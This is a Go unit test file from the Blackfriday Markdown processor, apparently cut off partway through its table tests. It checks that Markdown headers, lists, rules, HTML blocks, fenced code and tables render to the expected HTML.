    "content": "//\n// Blackfriday Markdown Processor\n// Available at http://github.com/russross/blackfriday\n//\n// Copyright © 2011 Russ Ross <russ@russross.com>.\n// Distributed under the Simplified BSD License.\n// See README.md for details.\n//\n\n//\n// Unit tests for block parsing\n//\n\npackage blackfriday\n\nimport (\n\t\"testing\"\n)\n\nfunc runMarkdownBlock(input string, extensions int) string {\n\thtmlFlags := 0\n\thtmlFlags |= HTML_USE_XHTML\n\n\trenderer := HtmlRenderer(htmlFlags, \"\", \"\")\n\n\treturn string(Markdown([]byte(input), renderer, extensions))\n}\n\nfunc doTestsBlock(t *testing.T, tests []string, extensions int) {\n\t// catch and report panics\n\tvar candidate string\n\tdefer func() {\n\t\tif err := recover(); err != nil {\n\t\t\tt.Errorf(\"\\npanic while processing [%#v]\\n\", candidate)\n\t\t}\n\t}()\n\n\tfor i := 0; i+1 < len(tests); i += 2 {\n\t\tinput := tests[i]\n\t\tcandidate = input\n\t\texpected := tests[i+1]\n\t\tactual := runMarkdownBlock(candidate, extensions)\n\t\tif actual != expected {\n\t\t\tt.Errorf(\"\\nInput   [%#v]\\nExpected[%#v]\\nActual  [%#v]\",\n\t\t\t\tcandidate, expected, actual)\n\t\t}\n\n\t\t// now test every substring to stress test bounds checking\n\t\tif !testing.Short() {\n\t\t\tfor start := 0; start < len(input); start++ {\n\t\t\t\tfor end := start + 1; end <= len(input); end++ {\n\t\t\t\t\tcandidate = input[start:end]\n\t\t\t\t\t_ = runMarkdownBlock(candidate, extensions)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n}\n\nfunc TestPrefixHeaderNoExtensions(t *testing.T) {\n\tvar tests = []string{\n\t\t\"# Header 1\\n\",\n\t\t\"<h1>Header 1</h1>\\n\",\n\n\t\t\"## Header 2\\n\",\n\t\t\"<h2>Header 2</h2>\\n\",\n\n\t\t\"### Header 3\\n\",\n\t\t\"<h3>Header 3</h3>\\n\",\n\n\t\t\"#### Header 4\\n\",\n\t\t\"<h4>Header 4</h4>\\n\",\n\n\t\t\"##### Header 5\\n\",\n\t\t\"<h5>Header 5</h5>\\n\",\n\n\t\t\"###### Header 6\\n\",\n\t\t\"<h6>Header 6</h6>\\n\",\n\n\t\t\"####### Header 7\\n\",\n\t\t\"<h6># Header 7</h6>\\n\",\n\n\t\t\"#Header 1\\n\",\n\t\t\"<h1>Header 1</h1>\\n\",\n\n\t\t\"##Header 2\\n\",\n\t\t\"<h2>Header 2</h2>\\n\",\n\n\t\t\"###Header 3\\n\",\n\t\t\"<h3>Header 3</h3>\\n\",\n\n\t\t\"####Header 4\\n\",\n\t\t\"<h4>Header 4</h4>\\n\",\n\n\t\t\"#####Header 5\\n\",\n\t\t\"<h5>Header 5</h5>\\n\",\n\n\t\t\"######Header 6\\n\",\n\t\t\"<h6>Header 6</h6>\\n\",\n\n\t\t\"#######Header 7\\n\",\n\t\t\"<h6>#Header 7</h6>\\n\",\n\n\t\t\"Hello\\n# Header 1\\nGoodbye\\n\",\n\t\t\"<p>Hello</p>\\n\\n<h1>Header 1</h1>\\n\\n<p>Goodbye</p>\\n\",\n\n\t\t\"* List\\n# Header\\n* List\\n\",\n\t\t\"<ul>\\n<li><p>List</p>\\n\\n<h1>Header</h1></li>\\n\\n<li><p>List</p></li>\\n</ul>\\n\",\n\n\t\t\"* List\\n#Header\\n* List\\n\",\n\t\t\"<ul>\\n<li><p>List</p>\\n\\n<h1>Header</h1></li>\\n\\n<li><p>List</p></li>\\n</ul>\\n\",\n\n\t\t\"*   List\\n    * Nested list\\n    # Nested header\\n\",\n\t\t\"<ul>\\n<li><p>List</p>\\n\\n<ul>\\n<li><p>Nested list</p>\\n\\n\" +\n\t\t\t\"<h1>Nested header</h1></li>\\n</ul></li>\\n</ul>\\n\",\n\t}\n\tdoTestsBlock(t, tests, 0)\n}\n\nfunc TestPrefixHeaderSpaceExtension(t *testing.T) {\n\tvar tests = []string{\n\t\t\"# Header 1\\n\",\n\t\t\"<h1>Header 1</h1>\\n\",\n\n\t\t\"## Header 2\\n\",\n\t\t\"<h2>Header 2</h2>\\n\",\n\n\t\t\"### Header 3\\n\",\n\t\t\"<h3>Header 3</h3>\\n\",\n\n\t\t\"#### Header 4\\n\",\n\t\t\"<h4>Header 4</h4>\\n\",\n\n\t\t\"##### Header 5\\n\",\n\t\t\"<h5>Header 5</h5>\\n\",\n\n\t\t\"###### Header 6\\n\",\n\t\t\"<h6>Header 6</h6>\\n\",\n\n\t\t\"####### Header 7\\n\",\n\t\t\"<p>####### Header 7</p>\\n\",\n\n\t\t\"#Header 1\\n\",\n\t\t\"<p>#Header 1</p>\\n\",\n\n\t\t\"##Header 2\\n\",\n\t\t\"<p>##Header 2</p>\\n\",\n\n\t\t\"###Header 3\\n\",\n\t\t\"<p>###Header 3</p>\\n\",\n\n\t\t\"####Header 4\\n\",\n\t\t\"<p>####Header 4</p>\\n\",\n\n\t\t\"#####Header 5\\n\",\n\t\t\"<p>#####Header 5</p>\\n\",\n\n\t\t\"######Header 6\\n\",\n\t\t\"<p>######Header 6</p>\\n\",\n\n\t\t\"#######Header 7\\n\",\n\t\t\"<p>#######Header 7</p>\\n\",\n\n\t\t\"Hello\\n# Header 1\\nGoodbye\\n\",\n\t\t\"<p>Hello</p>\\n\\n<h1>Header 1</h1>\\n\\n<p>Goodbye</p>\\n\",\n\n\t\t\"* List\\n# Header\\n* List\\n\",\n\t\t\"<ul>\\n<li><p>List</p>\\n\\n<h1>Header</h1></li>\\n\\n<li><p>List</p></li>\\n</ul>\\n\",\n\n\t\t\"* List\\n#Header\\n* List\\n\",\n\t\t\"<ul>\\n<li>List\\n#Header</li>\\n<li>List</li>\\n</ul>\\n\",\n\n\t\t\"*   List\\n    * Nested list\\n    # Nested header\\n\",\n\t\t\"<ul>\\n<li><p>List</p>\\n\\n<ul>\\n<li><p>Nested list</p>\\n\\n\" +\n\t\t\t\"<h1>Nested header</h1></li>\\n</ul></li>\\n</ul>\\n\",\n\t}\n\tdoTestsBlock(t, tests, EXTENSION_SPACE_HEADERS)\n}\n\nfunc TestUnderlineHeaders(t *testing.T) {\n\tvar tests = []string{\n\t\t\"Header 1\\n========\\n\",\n\t\t\"<h1>Header 1</h1>\\n\",\n\n\t\t\"Header 2\\n--------\\n\",\n\t\t\"<h2>Header 2</h2>\\n\",\n\n\t\t\"A\\n=\\n\",\n\t\t\"<h1>A</h1>\\n\",\n\n\t\t\"B\\n-\\n\",\n\t\t\"<h2>B</h2>\\n\",\n\n\t\t\"Paragraph\\nHeader\\n=\\n\",\n\t\t\"<p>Paragraph</p>\\n\\n<h1>Header</h1>\\n\",\n\n\t\t\"Header\\n===\\nParagraph\\n\",\n\t\t\"<h1>Header</h1>\\n\\n<p>Paragraph</p>\\n\",\n\n\t\t\"Header\\n===\\nAnother header\\n---\\n\",\n\t\t\"<h1>Header</h1>\\n\\n<h2>Another header</h2>\\n\",\n\n\t\t\"   Header\\n======\\n\",\n\t\t\"<h1>Header</h1>\\n\",\n\n\t\t\"    Code\\n========\\n\",\n\t\t\"<pre><code>Code\\n</code></pre>\\n\\n<p>========</p>\\n\",\n\n\t\t\"Header with *inline*\\n=====\\n\",\n\t\t\"<h1>Header with <em>inline</em></h1>\\n\",\n\n\t\t\"*   List\\n    * Sublist\\n    Not a header\\n    ------\\n\",\n\t\t\"<ul>\\n<li>List\\n\\n<ul>\\n<li>Sublist\\nNot a header\\n------</li>\\n</ul></li>\\n</ul>\\n\",\n\n\t\t\"Paragraph\\n\\n\\n\\n\\nHeader\\n===\\n\",\n\t\t\"<p>Paragraph</p>\\n\\n<h1>Header</h1>\\n\",\n\n\t\t\"Trailing space \\n====        \\n\\n\",\n\t\t\"<h1>Trailing space</h1>\\n\",\n\n\t\t\"Trailing spaces\\n====        \\n\\n\",\n\t\t\"<h1>Trailing spaces</h1>\\n\",\n\n\t\t\"Double underline\\n=====\\n=====\\n\",\n\t\t\"<h1>Double underline</h1>\\n\\n<p>=====</p>\\n\",\n\t}\n\tdoTestsBlock(t, tests, 0)\n}\n\nfunc TestHorizontalRule(t *testing.T) {\n\tvar tests = []string{\n\t\t\"-\\n\",\n\t\t\"<p>-</p>\\n\",\n\n\t\t\"--\\n\",\n\t\t\"<p>--</p>\\n\",\n\n\t\t\"---\\n\",\n\t\t\"<hr />\\n\",\n\n\t\t\"----\\n\",\n\t\t\"<hr />\\n\",\n\n\t\t\"*\\n\",\n\t\t\"<p>*</p>\\n\",\n\n\t\t\"**\\n\",\n\t\t\"<p>**</p>\\n\",\n\n\t\t\"***\\n\",\n\t\t\"<hr />\\n\",\n\n\t\t\"****\\n\",\n\t\t\"<hr />\\n\",\n\n\t\t\"_\\n\",\n\t\t\"<p>_</p>\\n\",\n\n\t\t\"__\\n\",\n\t\t\"<p>__</p>\\n\",\n\n\t\t\"___\\n\",\n\t\t\"<hr />\\n\",\n\n\t\t\"____\\n\",\n\t\t\"<hr />\\n\",\n\n\t\t\"-*-\\n\",\n\t\t\"<p>-*-</p>\\n\",\n\n\t\t\"- - -\\n\",\n\t\t\"<hr />\\n\",\n\n\t\t\"* * *\\n\",\n\t\t\"<hr />\\n\",\n\n\t\t\"_ _ _\\n\",\n\t\t\"<hr />\\n\",\n\n\t\t\"-----*\\n\",\n\t\t\"<p>-----*</p>\\n\",\n\n\t\t\"   ------   \\n\",\n\t\t\"<hr />\\n\",\n\n\t\t\"Hello\\n***\\n\",\n\t\t\"<p>Hello</p>\\n\\n<hr />\\n\",\n\n\t\t\"---\\n***\\n___\\n\",\n\t\t\"<hr />\\n\\n<hr />\\n\\n<hr />\\n\",\n\t}\n\tdoTestsBlock(t, tests, 0)\n}\n\nfunc TestUnorderedList(t *testing.T) {\n\tvar tests = []string{\n\t\t\"* Hello\\n\",\n\t\t\"<ul>\\n<li>Hello</li>\\n</ul>\\n\",\n\n\t\t\"* Yin\\n* Yang\\n\",\n\t\t\"<ul>\\n<li>Yin</li>\\n<li>Yang</li>\\n</ul>\\n\",\n\n\t\t\"* Ting\\n* Bong\\n* Goo\\n\",\n\t\t\"<ul>\\n<li>Ting</li>\\n<li>Bong</li>\\n<li>Goo</li>\\n</ul>\\n\",\n\n\t\t\"* Yin\\n\\n* Yang\\n\",\n\t\t\"<ul>\\n<li><p>Yin</p></li>\\n\\n<li><p>Yang</p></li>\\n</ul>\\n\",\n\n\t\t\"* Ting\\n\\n* Bong\\n* Goo\\n\",\n\t\t\"<ul>\\n<li><p>Ting</p></li>\\n\\n<li><p>Bong</p></li>\\n\\n<li><p>Goo</p></li>\\n</ul>\\n\",\n\n\t\t\"+ Hello\\n\",\n\t\t\"<ul>\\n<li>Hello</li>\\n</ul>\\n\",\n\n\t\t\"+ Yin\\n+ Yang\\n\",\n\t\t\"<ul>\\n<li>Yin</li>\\n<li>Yang</li>\\n</ul>\\n\",\n\n\t\t\"+ Ting\\n+ Bong\\n+ Goo\\n\",\n\t\t\"<ul>\\n<li>Ting</li>\\n<li>Bong</li>\\n<li>Goo</li>\\n</ul>\\n\",\n\n\t\t\"+ Yin\\n\\n+ Yang\\n\",\n\t\t\"<ul>\\n<li><p>Yin</p></li>\\n\\n<li><p>Yang</p></li>\\n</ul>\\n\",\n\n\t\t\"+ Ting\\n\\n+ Bong\\n+ Goo\\n\",\n\t\t\"<ul>\\n<li><p>Ting</p></li>\\n\\n<li><p>Bong</p></li>\\n\\n<li><p>Goo</p></li>\\n</ul>\\n\",\n\n\t\t\"- Hello\\n\",\n\t\t\"<ul>\\n<li>Hello</li>\\n</ul>\\n\",\n\n\t\t\"- Yin\\n- Yang\\n\",\n\t\t\"<ul>\\n<li>Yin</li>\\n<li>Yang</li>\\n</ul>\\n\",\n\n\t\t\"- Ting\\n- Bong\\n- Goo\\n\",\n\t\t\"<ul>\\n<li>Ting</li>\\n<li>Bong</li>\\n<li>Goo</li>\\n</ul>\\n\",\n\n\t\t\"- Yin\\n\\n- Yang\\n\",\n\t\t\"<ul>\\n<li><p>Yin</p></li>\\n\\n<li><p>Yang</p></li>\\n</ul>\\n\",\n\n\t\t\"- Ting\\n\\n- Bong\\n- Goo\\n\",\n\t\t\"<ul>\\n<li><p>Ting</p></li>\\n\\n<li><p>Bong</p></li>\\n\\n<li><p>Goo</p></li>\\n</ul>\\n\",\n\n\t\t\"*Hello\\n\",\n\t\t\"<p>*Hello</p>\\n\",\n\n\t\t\"*   Hello \\n\",\n\t\t\"<ul>\\n<li>Hello</li>\\n</ul>\\n\",\n\n\t\t\"*   Hello \\n    Next line \\n\",\n\t\t\"<ul>\\n<li>Hello\\nNext line</li>\\n</ul>\\n\",\n\n\t\t\"Paragraph\\n* No linebreak\\n\",\n\t\t\"<p>Paragraph\\n* No linebreak</p>\\n\",\n\n\t\t\"Paragraph\\n\\n* Linebreak\\n\",\n\t\t\"<p>Paragraph</p>\\n\\n<ul>\\n<li>Linebreak</li>\\n</ul>\\n\",\n\n\t\t\"*   List\\n    * Nested list\\n\",\n\t\t\"<ul>\\n<li>List\\n\\n<ul>\\n<li>Nested list</li>\\n</ul></li>\\n</ul>\\n\",\n\n\t\t\"*   List\\n\\n    * Nested list\\n\",\n\t\t\"<ul>\\n<li><p>List</p>\\n\\n<ul>\\n<li>Nested list</li>\\n</ul></li>\\n</ul>\\n\",\n\n\t\t\"*   List\\n    Second line\\n\\n    + Nested\\n\",\n\t\t\"<ul>\\n<li><p>List\\nSecond line</p>\\n\\n<ul>\\n<li>Nested</li>\\n</ul></li>\\n</ul>\\n\",\n\n\t\t\"*   List\\n    + Nested\\n\\n    Continued\\n\",\n\t\t\"<ul>\\n<li><p>List</p>\\n\\n<ul>\\n<li>Nested</li>\\n</ul>\\n\\n<p>Continued</p></li>\\n</ul>\\n\",\n\n\t\t\"*   List\\n   * shallow indent\\n\",\n\t\t\"<ul>\\n<li>List\\n\\n<ul>\\n<li>shallow indent</li>\\n</ul></li>\\n</ul>\\n\",\n\n\t\t\"* List\\n\" +\n\t\t\t\" * shallow indent\\n\" +\n\t\t\t\"  * part of second list\\n\" +\n\t\t\t\"   * still second\\n\" +\n\t\t\t\"    * almost there\\n\" +\n\t\t\t\"     * third level\\n\",\n\t\t\"<ul>\\n\" +\n\t\t\t\"<li>List\\n\\n\" +\n\t\t\t\"<ul>\\n\" +\n\t\t\t\"<li>shallow indent</li>\\n\" +\n\t\t\t\"<li>part of second list</li>\\n\" +\n\t\t\t\"<li>still second</li>\\n\" +\n\t\t\t\"<li>almost there\\n\\n\" +\n\t\t\t\"<ul>\\n\" +\n\t\t\t\"<li>third level</li>\\n\" +\n\t\t\t\"</ul></li>\\n\" +\n\t\t\t\"</ul></li>\\n\" +\n\t\t\t\"</ul>\\n\",\n\n\t\t\"* List\\n        extra indent, same paragraph\\n\",\n\t\t\"<ul>\\n<li>List\\n    extra indent, same paragraph</li>\\n</ul>\\n\",\n\n\t\t\"* List\\n\\n        code block\\n\",\n\t\t\"<ul>\\n<li><p>List</p>\\n\\n<pre><code>code block\\n</code></pre></li>\\n</ul>\\n\",\n\n\t\t\"* List\\n\\n          code block with spaces\\n\",\n\t\t\"<ul>\\n<li><p>List</p>\\n\\n<pre><code>  code block with spaces\\n</code></pre></li>\\n</ul>\\n\",\n\n\t\t\"* List\\n\\n    * sublist\\n\\n    normal text\\n\\n    * another sublist\\n\",\n\t\t\"<ul>\\n<li><p>List</p>\\n\\n<ul>\\n<li>sublist</li>\\n</ul>\\n\\n<p>normal text</p>\\n\\n<ul>\\n<li>another sublist</li>\\n</ul></li>\\n</ul>\\n\",\n\t}\n\tdoTestsBlock(t, tests, 0)\n}\n\nfunc TestOrderedList(t *testing.T) {\n\tvar tests = []string{\n\t\t\"1. Hello\\n\",\n\t\t\"<ol>\\n<li>Hello</li>\\n</ol>\\n\",\n\n\t\t\"1. Yin\\n2. Yang\\n\",\n\t\t\"<ol>\\n<li>Yin</li>\\n<li>Yang</li>\\n</ol>\\n\",\n\n\t\t\"1. Ting\\n2. Bong\\n3. Goo\\n\",\n\t\t\"<ol>\\n<li>Ting</li>\\n<li>Bong</li>\\n<li>Goo</li>\\n</ol>\\n\",\n\n\t\t\"1. Yin\\n\\n2. Yang\\n\",\n\t\t\"<ol>\\n<li><p>Yin</p></li>\\n\\n<li><p>Yang</p></li>\\n</ol>\\n\",\n\n\t\t\"1. Ting\\n\\n2. Bong\\n3. Goo\\n\",\n\t\t\"<ol>\\n<li><p>Ting</p></li>\\n\\n<li><p>Bong</p></li>\\n\\n<li><p>Goo</p></li>\\n</ol>\\n\",\n\n\t\t\"1 Hello\\n\",\n\t\t\"<p>1 Hello</p>\\n\",\n\n\t\t\"1.Hello\\n\",\n\t\t\"<p>1.Hello</p>\\n\",\n\n\t\t\"1.  Hello \\n\",\n\t\t\"<ol>\\n<li>Hello</li>\\n</ol>\\n\",\n\n\t\t\"1.  Hello \\n    Next line \\n\",\n\t\t\"<ol>\\n<li>Hello\\nNext line</li>\\n</ol>\\n\",\n\n\t\t\"Paragraph\\n1. No linebreak\\n\",\n\t\t\"<p>Paragraph\\n1. No linebreak</p>\\n\",\n\n\t\t\"Paragraph\\n\\n1. Linebreak\\n\",\n\t\t\"<p>Paragraph</p>\\n\\n<ol>\\n<li>Linebreak</li>\\n</ol>\\n\",\n\n\t\t\"1.  List\\n    1. Nested list\\n\",\n\t\t\"<ol>\\n<li>List\\n\\n<ol>\\n<li>Nested list</li>\\n</ol></li>\\n</ol>\\n\",\n\n\t\t\"1.  List\\n\\n    1. Nested list\\n\",\n\t\t\"<ol>\\n<li><p>List</p>\\n\\n<ol>\\n<li>Nested list</li>\\n</ol></li>\\n</ol>\\n\",\n\n\t\t\"1.  List\\n    Second line\\n\\n    1. Nested\\n\",\n\t\t\"<ol>\\n<li><p>List\\nSecond line</p>\\n\\n<ol>\\n<li>Nested</li>\\n</ol></li>\\n</ol>\\n\",\n\n\t\t\"1.  List\\n    1. Nested\\n\\n    Continued\\n\",\n\t\t\"<ol>\\n<li><p>List</p>\\n\\n<ol>\\n<li>Nested</li>\\n</ol>\\n\\n<p>Continued</p></li>\\n</ol>\\n\",\n\n\t\t\"1.  List\\n   1. shallow indent\\n\",\n\t\t\"<ol>\\n<li>List\\n\\n<ol>\\n<li>shallow indent</li>\\n</ol></li>\\n</ol>\\n\",\n\n\t\t\"1. List\\n\" +\n\t\t\t\" 1. shallow indent\\n\" +\n\t\t\t\"  2. part of second list\\n\" +\n\t\t\t\"   3. still second\\n\" +\n\t\t\t\"    4. almost there\\n\" +\n\t\t\t\"     1. third level\\n\",\n\t\t\"<ol>\\n\" +\n\t\t\t\"<li>List\\n\\n\" +\n\t\t\t\"<ol>\\n\" +\n\t\t\t\"<li>shallow indent</li>\\n\" +\n\t\t\t\"<li>part of second list</li>\\n\" +\n\t\t\t\"<li>still second</li>\\n\" +\n\t\t\t\"<li>almost there\\n\\n\" +\n\t\t\t\"<ol>\\n\" +\n\t\t\t\"<li>third level</li>\\n\" +\n\t\t\t\"</ol></li>\\n\" +\n\t\t\t\"</ol></li>\\n\" +\n\t\t\t\"</ol>\\n\",\n\n\t\t\"1. List\\n        extra indent, same paragraph\\n\",\n\t\t\"<ol>\\n<li>List\\n    extra indent, same paragraph</li>\\n</ol>\\n\",\n\n\t\t\"1. List\\n\\n        code block\\n\",\n\t\t\"<ol>\\n<li><p>List</p>\\n\\n<pre><code>code block\\n</code></pre></li>\\n</ol>\\n\",\n\n\t\t\"1. List\\n\\n          code block with spaces\\n\",\n\t\t\"<ol>\\n<li><p>List</p>\\n\\n<pre><code>  code block with spaces\\n</code></pre></li>\\n</ol>\\n\",\n\n\t\t\"1. List\\n    * Mixted list\\n\",\n\t\t\"<ol>\\n<li>List\\n\\n<ul>\\n<li>Mixted list</li>\\n</ul></li>\\n</ol>\\n\",\n\n\t\t\"1. List\\n * Mixed list\\n\",\n\t\t\"<ol>\\n<li>List\\n\\n<ul>\\n<li>Mixed list</li>\\n</ul></li>\\n</ol>\\n\",\n\n\t\t\"* Start with unordered\\n 1. Ordered\\n\",\n\t\t\"<ul>\\n<li>Start with unordered\\n\\n<ol>\\n<li>Ordered</li>\\n</ol></li>\\n</ul>\\n\",\n\n\t\t\"* Start with unordered\\n    1. Ordered\\n\",\n\t\t\"<ul>\\n<li>Start with unordered\\n\\n<ol>\\n<li>Ordered</li>\\n</ol></li>\\n</ul>\\n\",\n\n\t\t\"1. numbers\\n1. are ignored\\n\",\n\t\t\"<ol>\\n<li>numbers</li>\\n<li>are ignored</li>\\n</ol>\\n\",\n\t}\n\tdoTestsBlock(t, tests, 0)\n}\n\nfunc TestPreformattedHtml(t *testing.T) {\n\tvar tests = []string{\n\t\t\"<div></div>\\n\",\n\t\t\"<div></div>\\n\",\n\n\t\t\"<div>\\n</div>\\n\",\n\t\t\"<div>\\n</div>\\n\",\n\n\t\t\"<div>\\n</div>\\nParagraph\\n\",\n\t\t\"<p><div>\\n</div>\\nParagraph</p>\\n\",\n\n\t\t\"<div class=\\\"foo\\\">\\n</div>\\n\",\n\t\t\"<div class=\\\"foo\\\">\\n</div>\\n\",\n\n\t\t\"<div>\\nAnything here\\n</div>\\n\",\n\t\t\"<div>\\nAnything here\\n</div>\\n\",\n\n\t\t\"<div>\\n  Anything here\\n</div>\\n\",\n\t\t\"<div>\\n  Anything here\\n</div>\\n\",\n\n\t\t\"<div>\\nAnything here\\n  </div>\\n\",\n\t\t\"<div>\\nAnything here\\n  </div>\\n\",\n\n\t\t\"<div>\\nThis is *not* &proceessed\\n</div>\\n\",\n\t\t\"<div>\\nThis is *not* &proceessed\\n</div>\\n\",\n\n\t\t\"<faketag>\\n  Something\\n</faketag>\\n\",\n\t\t\"<p><faketag>\\n  Something\\n</faketag></p>\\n\",\n\n\t\t\"<div>\\n  Something here\\n</divv>\\n\",\n\t\t\"<p><div>\\n  Something here\\n</divv></p>\\n\",\n\n\t\t\"Paragraph\\n<div>\\nHere? >&<\\n</div>\\n\",\n\t\t\"<p>Paragraph\\n<div>\\nHere? &gt;&amp;&lt;\\n</div></p>\\n\",\n\n\t\t\"Paragraph\\n\\n<div>\\nHow about here? >&<\\n</div>\\n\",\n\t\t\"<p>Paragraph</p>\\n\\n<div>\\nHow about here? >&<\\n</div>\\n\",\n\n\t\t\"Paragraph\\n<div>\\nHere? >&<\\n</div>\\nAnd here?\\n\",\n\t\t\"<p>Paragraph\\n<div>\\nHere? &gt;&amp;&lt;\\n</div>\\nAnd here?</p>\\n\",\n\n\t\t\"Paragraph\\n\\n<div>\\nHow about here? >&<\\n</div>\\nAnd here?\\n\",\n\t\t\"<p>Paragraph</p>\\n\\n<p><div>\\nHow about here? &gt;&amp;&lt;\\n</div>\\nAnd here?</p>\\n\",\n\n\t\t\"Paragraph\\n<div>\\nHere? >&<\\n</div>\\n\\nAnd here?\\n\",\n\t\t\"<p>Paragraph\\n<div>\\nHere? &gt;&amp;&lt;\\n</div></p>\\n\\n<p>And here?</p>\\n\",\n\n\t\t\"Paragraph\\n\\n<div>\\nHow about here? >&<\\n</div>\\n\\nAnd here?\\n\",\n\t\t\"<p>Paragraph</p>\\n\\n<div>\\nHow about here? >&<\\n</div>\\n\\n<p>And here?</p>\\n\",\n\t}\n\tdoTestsBlock(t, tests, 0)\n}\n\nfunc TestPreformattedHtmlLax(t *testing.T) {\n\tvar tests = []string{\n\t\t\"Paragraph\\n<div>\\nHere? >&<\\n</div>\\n\",\n\t\t\"<p>Paragraph</p>\\n\\n<div>\\nHere? >&<\\n</div>\\n\",\n\n\t\t\"Paragraph\\n\\n<div>\\nHow about here? >&<\\n</div>\\n\",\n\t\t\"<p>Paragraph</p>\\n\\n<div>\\nHow about here? >&<\\n</div>\\n\",\n\n\t\t\"Paragraph\\n<div>\\nHere? >&<\\n</div>\\nAnd here?\\n\",\n\t\t\"<p>Paragraph</p>\\n\\n<div>\\nHere? >&<\\n</div>\\n\\n<p>And here?</p>\\n\",\n\n\t\t\"Paragraph\\n\\n<div>\\nHow about here? >&<\\n</div>\\nAnd here?\\n\",\n\t\t\"<p>Paragraph</p>\\n\\n<div>\\nHow about here? >&<\\n</div>\\n\\n<p>And here?</p>\\n\",\n\n\t\t\"Paragraph\\n<div>\\nHere? >&<\\n</div>\\n\\nAnd here?\\n\",\n\t\t\"<p>Paragraph</p>\\n\\n<div>\\nHere? >&<\\n</div>\\n\\n<p>And here?</p>\\n\",\n\n\t\t\"Paragraph\\n\\n<div>\\nHow about here? >&<\\n</div>\\n\\nAnd here?\\n\",\n\t\t\"<p>Paragraph</p>\\n\\n<div>\\nHow about here? >&<\\n</div>\\n\\n<p>And here?</p>\\n\",\n\t}\n\tdoTestsBlock(t, tests, EXTENSION_LAX_HTML_BLOCKS)\n}\n\nfunc TestFencedCodeBlock(t *testing.T) {\n\tvar tests = []string{\n\t\t\"``` go\\nfunc foo() bool {\\n\\treturn true;\\n}\\n```\\n\",\n\t\t\"<pre><code class=\\\"go\\\">func foo() bool {\\n    return true;\\n}\\n</code></pre>\\n\",\n\n\t\t\"``` c\\n/* special & char < > \\\" escaping */\\n```\\n\",\n\t\t\"<pre><code class=\\\"c\\\">/* special &amp; char &lt; &gt; &quot; escaping */\\n</code></pre>\\n\",\n\n\t\t\"``` c\\nno *inline* processing ~~of text~~\\n```\\n\",\n\t\t\"<pre><code class=\\\"c\\\">no *inline* processing ~~of text~~\\n</code></pre>\\n\",\n\n\t\t\"```\\nNo language\\n```\\n\",\n\t\t\"<pre><code>No language\\n</code></pre>\\n\",\n\n\t\t\"``` {ocaml}\\nlanguage in braces\\n```\\n\",\n\t\t\"<pre><code class=\\\"ocaml\\\">language in braces\\n</code></pre>\\n\",\n\n\t\t\"```    {ocaml}      \\nwith extra whitespace\\n```\\n\",\n\t\t\"<pre><code class=\\\"ocaml\\\">with extra whitespace\\n</code></pre>\\n\",\n\n\t\t\"```{   ocaml   }\\nwith extra whitespace\\n```\\n\",\n\t\t\"<pre><code class=\\\"ocaml\\\">with extra whitespace\\n</code></pre>\\n\",\n\n\t\t\"~ ~~ java\\nWith whitespace\\n~~~\\n\",\n\t\t\"<p>~ ~~ java\\nWith whitespace\\n~~~</p>\\n\",\n\n\t\t\"~~\\nonly two\\n~~\\n\",\n\t\t\"<p>~~\\nonly two\\n~~</p>\\n\",\n\n\t\t\"```` python\\nextra\\n````\\n\",\n\t\t\"<pre><code class=\\\"python\\\">extra\\n</code></pre>\\n\",\n\n\t\t\"~~~ perl\\nthree to start, four to end\\n~~~~\\n\",\n\t\t\"<p>~~~ perl\\nthree to start, four to end\\n~~~~</p>\\n\",\n\n\t\t\"~~~~ perl\\nfour to start, three to end\\n~~~\\n\",\n\t\t\"<p>~~~~ perl\\nfour to start, three to end\\n~~~</p>\\n\",\n\n\t\t\"~~~ bash\\ntildes\\n~~~\\n\",\n\t\t\"<pre><code class=\\\"bash\\\">tildes\\n</code></pre>\\n\",\n\n\t\t\"``` lisp\\nno ending\\n\",\n\t\t\"<p>``` lisp\\nno ending</p>\\n\",\n\n\t\t\"~~~ lisp\\nend with language\\n~~~ lisp\\n\",\n\t\t\"<p>~~~ lisp\\nend with language\\n~~~ lisp</p>\\n\",\n\n\t\t\"```\\nmismatched begin and end\\n~~~\\n\",\n\t\t\"<p>```\\nmismatched begin and end\\n~~~</p>\\n\",\n\n\t\t\"~~~\\nmismatched begin and end\\n```\\n\",\n\t\t\"<p>~~~\\nmismatched begin and end\\n```</p>\\n\",\n\n\t\t\"   ``` oz\\nleading spaces\\n```\\n\",\n\t\t\"<pre><code class=\\\"oz\\\">leading spaces\\n</code></pre>\\n\",\n\n\t\t\"  ``` oz\\nleading spaces\\n ```\\n\",\n\t\t\"<pre><code class=\\\"oz\\\">leading spaces\\n</code></pre>\\n\",\n\n\t\t\" ``` oz\\nleading spaces\\n  ```\\n\",\n\t\t\"<pre><code class=\\\"oz\\\">leading spaces\\n</code></pre>\\n\",\n\n\t\t\"``` oz\\nleading spaces\\n   ```\\n\",\n\t\t\"<pre><code class=\\\"oz\\\">leading spaces\\n</code></pre>\\n\",\n\n\t\t\"    ``` oz\\nleading spaces\\n    ```\\n\",\n\t\t\"<pre><code>``` oz\\n</code></pre>\\n\\n<p>leading spaces\\n    ```</p>\\n\",\n\t}\n\tdoTestsBlock(t, tests, EXTENSION_FENCED_CODE)\n}\n\nfunc TestTable(t *testing.T) {\n\tvar tests = []string{\n\t\t\"a | b\\n---|---\\nc | d\\n\",\n\t\t\"<table>\\n<thead>\\n<tr>\\n<td>a</td>\\n<td>b</td>\\n</tr>\\n</thead>\\n\\n\" +\n\t\t\t\"<tbody>\\n<tr>\\n<td>c</td>\\n<td>d</td>\\n</tr>\\n</tbody>\\n</table>\\n\",\n\n\t\t\"a | b\\n---|--\\nc | d\\n\",\n\t\t\"<p>a | b\\n---|--\\nc | d</p>\\n\",\n\n\t\t\"|a|b|c|d|\\n|----|----|----|---|\\n|e|f|g|h|\\n\",\n\t\t\"<table>\\n<thead>\\n<tr>\\n<td>a</td>\\n<td>b</td>\\n<td>c</td>\\n<td>d</td>\\n</tr>\\n</thead>\\n\\n\" +\n\t\t\t\"<tbody>\\n<tr>\\n<td>e</td>\\n<td>f</td>\\n<td>g</td>\\n<td>h</td>\\n</tr>\\n</tbody>\\n</table>\\n\",\n\n\t\t\"*a*|__b__|[c](C)|d\\n---|---|---|---\\ne|f|g|h\\n\",\n\t\t\"<table>\\n<thead>\\n<tr>\\n<td><em>a</em></td>\\n<td><strong>b</strong></td>\\n<td><a href=\\\"C\\\">c</a></td>\\n<td>d</td>\\n</tr>\\n</thead>\\n\\n\" 